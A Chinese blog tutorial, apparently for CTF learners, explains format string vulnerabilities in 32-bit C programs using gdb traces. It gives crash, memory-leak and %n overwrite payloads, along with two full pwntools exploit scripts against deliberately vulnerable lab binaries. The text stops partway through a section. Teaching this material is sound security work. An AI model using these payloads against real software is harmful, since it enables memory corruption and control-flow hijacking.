格式化字符串

本文详细介绍了格式化字符串漏洞的基本原理、利用思路及多种利用方式,包括程序崩溃、内存泄露和内存覆盖。在32位和64位系统中,通过分析栈帧结构,演示了如何利用格式化字符串漏洞泄露和篡改内存,包括泄露栈内存、覆盖栈内存、泄露和覆盖任意地址内存。此外,还介绍了如何利用格式化字符串漏洞进行GOT劫持和返回地址劫持,以及在没有二进制文件的情况下进行盲打。最后,提到了相关的利用工具如pwntools和pwngdb。
摘要由CSDN通过智能技术生成

格式化字符串

1.原理

1.1 格式化字符串介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。格式化字符串在利用的时候主要分为三个部分:

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

例子如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PtWkLGtD-1635518717254)(https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/figure/printf.png)]

1.1.1 格式化字符串函数

常见的有格式化字符串函数有

  • 输入:
    • scanf
  • 输出:
    • printf 输出到 stdout
    • fprintf输出到指定 FILE 流
    • vprintf根据参数列表格式化输出到 stdout
    • vfprintf根据参数列表格式化输出到指定 FILE 流
    • sprintf输出到字符串
    • snprintf输出指定字节数到字符串
    • vsprintf根据参数列表格式化输出到字符串
    • vsnprintf根据参数列表格式化输出指定字节到字符串
    • setproctitle设置 argv
    • syslog输出日志err, verr, warn, vwarn 等
1.1.2 格式化字符串

格式化字符串的格式的基本格式如下:

%[parameter][flags][field width][.precision][length]type

以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数,n表示第n个参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, '%'字面值,不接受任何 flags, width。
1.1.3 参数

就是相应的要输出的变量。

1.2 32位格式化字符串漏洞基本原理

我们用一个例子看一下格式化字符串的原理:

#include <stdio.h>

int main() {
   
    printf("1: %s 2:%d, 3:%4.2f\n", "hello", 123, 3.1415);
    return 0;
}

编译命令:

gcc test.c -o test -m32

用gdb调试,在printf前打个断点:

 ► 0x565561fe <main+49>    call   printf@plt <printf@plt>
        format: 0x5655700e ◂— '1: %s 2:%d, 3:%d\n'
        vararg: 0x56557008 ◂— 'hello'
 
   0x56556203 <main+54>    add    esp, 0x10
   0x56556206 <main+57>    mov    eax, 0
   0x5655620b <main+62>    lea    esp, [ebp - 8]
   0x5655620e <main+65>    pop    ecx
   0x5655620f <main+66>    pop    ebx
────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x5655700e ◂— '1: %s 2:%d, 3:%d\n'
01:0004│     0xffffd104 —▸ 0x56557008 ◂— 'hello'
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c ◂— 0x3

可以看到,还没有进入printf()时,栈顶是格式化字符串’1: %s 2:%d, 3:%d\n’,紧接着是第一个参数“hello”,然后是第二个参数“0x2”,第三个参数“0x3”。

因此,在32位下,格式化字符串的传参是根据栈上位置来确定的。

我们再看一下程序:

#include <stdio.h>

int main() {
   
    printf("1: %p 2:%p, 3:%p\n");
    return 0;
}

看一下此时的栈:

 ► 0x565561f6 <main+41>    call   printf@plt <printf@plt>
        format: 0x56557008 ◂— '1: %p 2:%p, 3:%p\n'
        vararg: 0xffffd1c4 —▸ 0xffffd31c ◂— 0x746e6d2f ('/mnt')
 
   0x565561fb <main+46>    add    esp, 0x10
   0x565561fe <main+49>    mov    eax, 0
   0x56556203 <main+54>    lea    esp, [ebp - 8]
   0x56556206 <main+57>    pop    ecx
   0x56556207 <main+58>    pop    ebx
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x56557008 ◂— '1: %p 2:%p, 3:%p\n'
01:0004│     0xffffd104 —▸ 0xffffd1c4 —▸ 0xffffd31c ◂— 0x746e6d2f ('/mnt')
02:0008│     0xffffd108 —▸ 0xffffd1cc —▸ 0xffffd353 ◂— 'SHELL=/bin/bash'
03:000c│     0xffffd10c —▸ 0x565561e5 (main+24) ◂— add    eax, 0x2df3
04:0010│     0xffffd110 —▸ 0xffffd130 ◂— 0x1

看一下printf()函数的运行结果:

pwndbg> n
1: 0xffffd1c4 2:0xffffd1cc, 3:0x565561e5

可见,就算没有参数,printf()函数也照样打印原来栈上的那几个位置。

因此,由于格式化字符串根据栈上位置来传参的原理,导致利用格式化字符串漏洞可以对栈上内容进行打印。

1.3 32位格式化字符串利用思路

下面介绍格式化字符串的3个利用方式:程序崩溃、泄露内存、覆盖内存

1.3.1 利用1:程序崩溃

因为栈上不可能每个地方都对应着合法的地址,因此我们只需要输入若干个%s,让格式化字符串对栈上地址进行寻址,当寻址到不合法的地址时,程序就会产生崩溃:

%s%s%s%s%s%s%s%s%s%s%s%s%s%s
1.3.2 利用2:泄露内存
1.3.2.1 泄露栈内存

格式化字符串使用"%n$d"可以索引到栈上第n+1个参数:

1.3.2.1.1 获取栈变量数值

例子如下:

#include <stdio.h>

int main() {
   
    int a = 1, b = 2, c = 3;
    printf("%3$d\n", a, b, c);
    return 0;
}

如上,就只会以%d的格式打印第4个参数c。

还是一样,用gdb在进入printf前打个断点:

 ► 0x80491dd <main+71>    call   printf@plt <printf@plt>
        format: 0x804a008 ◂— '%3$d\n'
        vararg: 0x1
 
   0x80491e2 <main+76>    add    esp, 0x10
   0x80491e5 <main+79>    mov    eax, 0
   0x80491ea <main+84>    lea    esp, [ebp - 8]
   0x80491ed <main+87>    pop    ecx
   0x80491ee <main+88>    pop    ebx
───────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x804a008 ◂— '%3$d\n'
01:0004│     0xffffd104 ◂— 0x1
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c ◂— 0x3
04:0010│     0xffffd110 ◂— 0x1

发现使用"%3$d"会打印栈上第4个参数0x3,也就是最后会打印3。

pwndbg> n
3

那么,想要泄露栈变量的数值,我们只需要知道它在栈上的位置,就可以确定,我们使用什么样的格式化字符串。

1.3.2.1.2 获取栈变量对应字符串

进一步,如果我们使用"%n$s",就能够先寻址到栈上第n+1个参数,假设其值为A,然后再以字符串形式打印地址A对应的内容,达到获取栈变量对应字符串的目的。

举例如下:

#include <stdio.h>

int main() {
   
    int a = 1, b = 2, c = 0x804a008;
    printf("%3$s\n", a, b, c);
    return 0;
}

在printf前打断点:

 ► 0x80491dd <main+71>    call   printf@plt <printf@plt>
        format: 0x804a008 ◂— '%3$s\n'
        vararg: 0x1
 
   0x80491e2 <main+76>    add    esp, 0x10
   0x80491e5 <main+79>    mov    eax, 0
   0x80491ea <main+84>    lea    esp, [ebp - 8]
   0x80491ed <main+87>    pop    ecx
   0x80491ee <main+88>    pop    ebx
───────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd100 —▸ 0x804a008 ◂— '%3$s\n'
01:0004│     0xffffd104 ◂— 0x1
02:0008│     0xffffd108 ◂— 0x2
03:000c│     0xffffd10c —▸ 0x804a008 ◂— '%3$s\n'
04:0010│     0xffffd110 ◂— 0x1

现在想要泄露栈上0xffffd10c地址对应的字符串,也就是0x804a008所对应的字符串’%3$s\n’

执行完printf:

pwndbg> n
%3$s

发现成功获取。

因此,原理和1.3.2.1.1一样,只需要知道需要获取的栈变量位置即可知道该如何设置格式化字符串。

1.3.2.2 泄露任意地址内存

根据格式化字符串的结构(根据动态调试分析出来的),我们发现使用如下的格式构造格式化字符串能够获得addr位置的内容(注意这个需要关闭栈保护-fno-stack-protector):

addr%k$s

具体的k值在不同的系统和环境下不同,需要进行动态调试确定。

举个栗子:

程序如下:

#include <stdio.h>
int main() {
   
    char s[100];
    scanf("%s", s);  
    printf(s);
    return 0;
}

编译参数:

$ gcc test.c -o test -m32 -no-pie -fno-stack-protector

运行看看:

$ ./test
AAAA%7$p
AAAA0x41414141

发现使用%7$p时,可以将0x41414141打印出来,也就是AAAA,那么如果AAAA是一个合法的地址,我们使用%s就可以将其内容打印出来了。

我们使用gdb分析一下这里面的k值是如何确定的,以及32位下使用addr%k$s来获取任意地址内容的依据。

在scanf处输入AAAA%7$p,然后断点下载printf处,看一下栈帧:

 ► 0x80491f4 <main+62>    call   printf@plt <printf@plt>
        format: 0xffffd0ac ◂— 'AAAA%7$p'
        vararg: 0xffffd0ac ◂— 'AAAA%7$p'
 
   0x80491f9 <main+67>    add    esp, 0x10
   0x80491fc <main+70>    mov    eax, 0
   0x8049201 <main+75>    lea    esp, [ebp - 8]
   0x8049204 <main+78>    pop    ecx
   0x8049205 <main+79>    pop    ebx
─────────[ STACK ]───────────────────────────────────────────
00:0000│ esp 0xffffd090 —▸ 0xffffd0ac ◂— 'AAAA%7$p'
01:0004│     0xffffd094 —▸ 0xffffd0ac ◂— 'AAAA%7$p'
02:0008│     0xffffd098 —▸ 0xf7ffd990 ◂— 0x0
03:000c│     0xffffd09c —▸ 0x80491d1 (main+27) ◂— add    ebx, 0x2e2f
04:0010│     0xffffd0a0 —▸ 0x8048034 ◂— 0x6
05:0014│     0xffffd0a4 ◂— 0xc /* '\x0c' */
06:0018│     0xffffd0a8 —▸ 0xffffd108 —▸ 0xffffd1cc —▸ 0xffffd352 ◂— 'SHELL=/bin/bash'
07:001c│ eax 0xffffd0ac ◂— 'AAAA%7$p'

发现我们的AAAA%7$p位于栈上第8个位置**(第1个位置和第2个位置出现的不看,因为这个是printf函数的参数。看后面重复出现的,之所以重复出现的这是因为32位下特殊的栈结构)**,因此k值设置为7.

比如说我们现在想要获取每个需要的地址,如got[‘scanf’],拿pwntools写个代码获取:

exp如下:

#coding=utf-8
from pwn import *
sh = process('./test')
elf = ELF('./test')
__isoc99_scanf_got = elf.got['__isoc99_scanf'] #获取scanf函数的got地址
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%7$s' #将AAAA%7$p中的A替换成scanf函数的got地址
sh.sendline(payload)
print hex(u32(sh.recv()[4:8]))
sh.interactive()

脚本运行如下,成功打印处got[“scanf”] = 0xf7d80440

$ python2 exp.py 
[+] Starting local process './test': pid 25419
[*] '/mnt/d/study/ctf/\xe8\xb5\x84\xe6\x96\x99/ctf-challenges/pwn/fmtstr/test'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
0x804c014
0xf7d80440
1.3.3 利用3:覆盖内存

上面我们只是实现了读取任意地址内存,但是更多地,我们希望能够堆任意地址的内存进行写入。在格式化字符串中,有个%n可以用来进行写入,我们就使用这个来对任意内存进行写入:

%n,不输出字符,但是把本次printf已经成功输出的字符个数写入对应的整型指针参数所指的变量。

能够利用的逻辑是:

  1. 因为%n能够把成功输出的字符个数写入到某个变量里面,而32位下,格式化字符串的变量存储在栈上。也就是说在32位内,会把本次printf成功输出的字符个数写入到栈上某个偏移存储的数字里。
  2. 那么我们想要写入的地址只需要确定栈上偏移(比如发现我们打算写入的地址已经在栈上存在,那么我们确定这个偏移即可,对应修改栈内存),或者我们主动把要写入的地址存储到栈上、同时自己构造偏移(要往哪个位置写入主动把这个地址放到栈上,对应修改任意地址内存)
  3. 写入的内容根据我们输出的字符个数决定(我们可以利用%xd来打印出x个字符,那么我们就可以把x写入)。

一般地,我们使用如下的构造方法来实现覆盖的目的:

...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。

一般来说,也是如下步骤:

  1. 确定覆盖地址
  2. 确定相对偏移
  3. 进行覆盖

下面,我们给出一个样例代码,利用这个代码对覆盖栈内存和任意地址内存进行介绍:

/* $ gcc test.c -m32 -o test -fno-stack-protector */
#include <stdio.h>
int a = 123, b = 456;
int main() {
   
    int c = 789;
    char s[100];
    printf("%p\n", &c);
    scanf("%s", s);
    printf(s);
    if (c == 16) {
   
        puts("modified c.");
    } else if (a == 2) {
   
        puts("modified a for a small number.");
    } else if (b == 0x12345678) {
   
        puts("modified b for a big number!");
    }
    return 0;
}

我们大概介绍一下上面的代码:

  1. 因为程序很多时候是开启了aslr,栈地址一直在变化。因此,程序故意输出了c变量的地址。
  2. 第9行,对s进行打印,是为了触发格式化字符串漏洞,实现对内存的修改
  3. c变量放在栈上,a和b变量是全局变量
  4. 对c的修改是在表示当前修改了栈内存
  5. 对a或者b的修改是为了表示对任意内存进行修改
1.3.3.1 覆盖栈内存

我们需要确定要写入的内容和被覆盖的地址:写入的内容就为16(这样符合程序的逻辑);被覆盖的地址我们需要根据偏移确定。确定偏移的方法还是和1.3.2.2里面确定偏移的方法一样。

我们向程序里面写入AAAA%p%p%p%p%p%p%p,然后看一下0x41414141是第几个输出,就知道AAAA这个字符串存在于多少的偏移了:

$ ./test
0xffcb064c
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA0xffcb05e80xffcb06580x565d22280x565d10340xc0x414141410x702570250x702570250x702570250x70257025

发现0x41414141是第6个被打印的。因此,我们只需要将格式化字符串构造为:%12d%6$n,里面设置了12是因为一开始打印c的地址,里面4个字节,4+12恰好为16字节。

我们gdb也验证一下,scanf时写入AAAA%p%p%p%p%p%p%p,在第二个printf处打断点:

 ► 0x56556268 <main+91>     call   printf@plt <printf@plt>
        format: 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
        vararg: 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
 
   0x5655626d <main+96>     add    esp, 0x10
   0x56556270 <main+99>     mov    eax, dword ptr [ebp - 0xc]
   0x56556273 <main+102>    cmp    eax, 0x10
   0x56556276 <main+105>    jne    main+127 <main+127>
 
   0x56556278 <main+107>    sub    esp, 0xc
──[ STACK ]───────────────────────
00:0000│ esp 0xffffd090 —▸ 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
01:0004│     0xffffd094 —▸ 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
02:0008│     0xffffd098 —▸ 0xffffd118 ◂— 0x0
03:000c│     0xffffd09c —▸ 0x56556228 (main+27) ◂— add    ebx, 0x2da8
04:0010│     0xffffd0a0 —▸ 0x56555034 ◂— 0x6
05:0014│     0xffffd0a4 ◂— 0xc /* '\x0c' */
06:0018│ eax 0xffffd0a8 ◂— 'AAAA%p%p%p%p%p%p%p'
07:001c│     0xffffd0ac ◂— '%p%p%p%p%p%p%p'

发现AAAA确实出现在栈上第7个位置,是printf()函数的第7个参数,格式化字符串的第6个参数,因此设置为%6$n没问题。

现在我们要对栈上c的进行覆盖,我们只需要把AAAA更换为c的地址(已经在第一个printf被输出了),也就是说payload = address_c + ‘%012d%6$n’

exp如下:

# coding=utf-8
from pwn import *
sh = process('./test')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
# gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

从结果来看,成功修改c:

$ python2 exp.py 
[+] Starting local process './test': pid 29334
0xff91b71c
\x1c\x91\xff%012d%6$n
\x1c\x91\xff-00007227720modified c.

[*] Switching to interactive mode
[*] Process './test' stopped with exit code 0 (pid 29334)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
1.3.3.2 覆盖任意地址内存

对于1.3.3.1提出的构造方法:[addr]%$kn,那么我们覆盖的内容至少为4(32位下地址为4个字节),但是我们是有覆盖为更小数字的需求的,比如说覆盖为2,就需要特殊构造方式

我们也会需要将某个地址的内容覆盖为很大的数字,但是不可能说用%x$n,把x设置地很大,那样程序的栈空间也不够。

对于任意地址覆盖内存,分为覆盖为小数字和大数字两类

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值